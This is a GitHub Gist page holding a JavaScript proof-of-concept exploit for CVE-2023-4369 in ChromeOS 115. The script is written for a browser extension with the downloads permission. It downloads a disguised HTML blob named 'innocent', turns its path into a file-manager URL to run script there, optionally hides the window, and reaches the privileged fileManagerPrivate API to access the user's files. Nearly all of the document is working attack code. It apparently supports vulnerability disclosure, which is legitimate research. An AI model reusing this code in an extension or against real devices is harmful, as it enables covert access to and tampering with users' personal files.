Created
January 23, 2026 05:47
-
-
Save deryilz/b709c6cb9464741773c6b2eed5570eb2 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| this is a proof-of-concept for CVE-2023-4369, which affected ChromeOS in version 115.0.5790.98 | |
| an extension with the "downloads" permission could run this code to access and modify your Documents/Downloads/Pictures | |
| read more at https://derineryilmaz.com/blog/cve-2023-4369/ | |
| */ | |
| function toXss(fileUrl) { | |
| return fileUrl | |
| .replace( | |
| "/home/chronos/u-", | |
| "filesystem:chrome://file-manager/external/Downloads-" | |
| ) | |
| .replace("/MyFiles", ""); | |
| } | |
| chrome.downloads.onChanged.addListener((item) => { | |
| if (item.filename) { | |
| chrome.windows.create({ | |
| url: toXss(item.filename.current), | |
| // focused:false // hides window | |
| }); | |
| } | |
| }); | |
| function injectedFunc() { | |
| let fmWindow = window.open("javascript:0"); | |
| fmWindow.document.title = "ready"; | |
| setTimeout(() => { | |
| fmWindow.alert("fileManagerPrivate: " + fmWindow.chrome.fileManagerPrivate); | |
| }, 1000); | |
| } | |
| chrome.tabs.onUpdated.addListener((tabId, event) => { | |
| if (event.title === "ready") { | |
| chrome.tabs.update(tabId, { | |
| url: "view-source:chrome://file-manager", | |
| }); | |
| } | |
| }); | |
| let blob = new Blob(["<script>onload=" + injectedFunc + "</script>"], { | |
| type: "text/html", | |
| }); | |
| chrome.downloads.download({ | |
| url: URL.createObjectURL(blob), | |
| conflictAction: "overwrite", | |
| filename: "innocent", | |
| }); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment